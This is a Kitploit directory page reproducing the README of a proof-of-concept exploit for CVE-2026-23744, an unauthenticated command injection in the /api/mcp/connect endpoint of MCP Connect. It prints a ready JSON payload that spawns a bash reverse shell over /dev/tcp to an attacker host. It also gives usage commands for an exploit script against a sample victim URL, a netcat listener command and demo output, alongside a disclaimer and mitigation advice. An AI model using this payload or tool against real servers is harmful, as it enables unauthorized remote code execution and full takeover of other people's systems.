Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23744 — Proof-of-concept exploit for CVE-2026-23744, an unauthenticated command injection in MCP Connect leading to remote code execution and reverse shell. | Kitploit
Tools/GitHubGitHub/cylock11/cve-2026-23744
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubcylock11/cve-2026-23744

CVE-2026-23744

Proof-of-concept exploit for CVE-2026-23744, an unauthenticated command injection in MCP Connect leading to remote code execution and reverse shell.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23744 — MCP Connect RCE via Unauthenticated Command Injection

Python Category Type License

⚠️ Disclaimer: This repository is for educational and security research purposes only. Using this exploit against systems without explicit authorization is illegal. The author is not responsible for any misuse of this code.


📌 Vulnerability Description

The vulnerability resides in the /api/mcp/connect endpoint, which allows an unauthenticated attacker to register an arbitrary MCP (Model Context Protocol) server with a malicious configuration. Since there is no validation or sanitization of the command field and its args, it is possible to inject operating system commands that are executed directly on the server with the privileges of the web process.

This results in remote code execution (RCE) that can be leveraged to obtain a reverse shell on the compromised system.


🧠 Technical Details

FieldDetail
TypeRemote Code Execution (RCE)
VectorNetwork (unauthenticated HTTP POST)
Endpoint/api/mcp/connect
Severity🔴 Critical
AuthenticationNot required
ImpactFull server control

Malicious payload

root@kitploit:~
{
  "serverId": "shell1",
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
    "env": {}
  }
}

The server processes this configuration and invokes the bash command with the provided arguments, establishing a reverse TCP connection to the attacker.


🛠️ Requirements

  • Python 3.x
  • The following libraries:
root@kitploit:~
pip install requests termcolor

🚀 Usage

root@kitploit:~
python3 exploit.py -l <YOUR_IP> -u <TARGET_URL>

Parameters

ParameterDescriptionExample
-lYour IP (where you will receive the shell)192.168.1.50
-uTarget base URLhttps://victim.com

Full example

Terminal 1 — Listener:

root@kitploit:~
nc -nlvp 443

Terminal 2 — Exploit:

root@kitploit:~
python3 exploit.py -l 192.168.1.50 -u https://victim.com

🎬 Demo

root@kitploit:~
[-] Please, execute the following command in another terminal:

[+] nc -nlvp 443

[-] Press 'Enter' when the command has been executed...

[+] Sending attack request...

Once the request is sent, the listener on port 443 will receive the reverse connection with an interactive shell from the compromised server.


🛡️ Mitigation

  • Validate and sanitize all body fields in /api/mcp/connect before processing them.
  • Authenticate the endpoint and restrict access only to privileged users.
  • Never execute system commands directly from user input.
  • Implement a whitelist of allowed commands.
  • Apply the principle of least privilege to the web server process.

📁 Repository Structure

root@kitploit:~
.
├── exploit.py       # Main exploit script
└── README.md        # This file

👤 Author

Developed for offensive security research purposes by Jorge Arana Fedriani.

Download Tool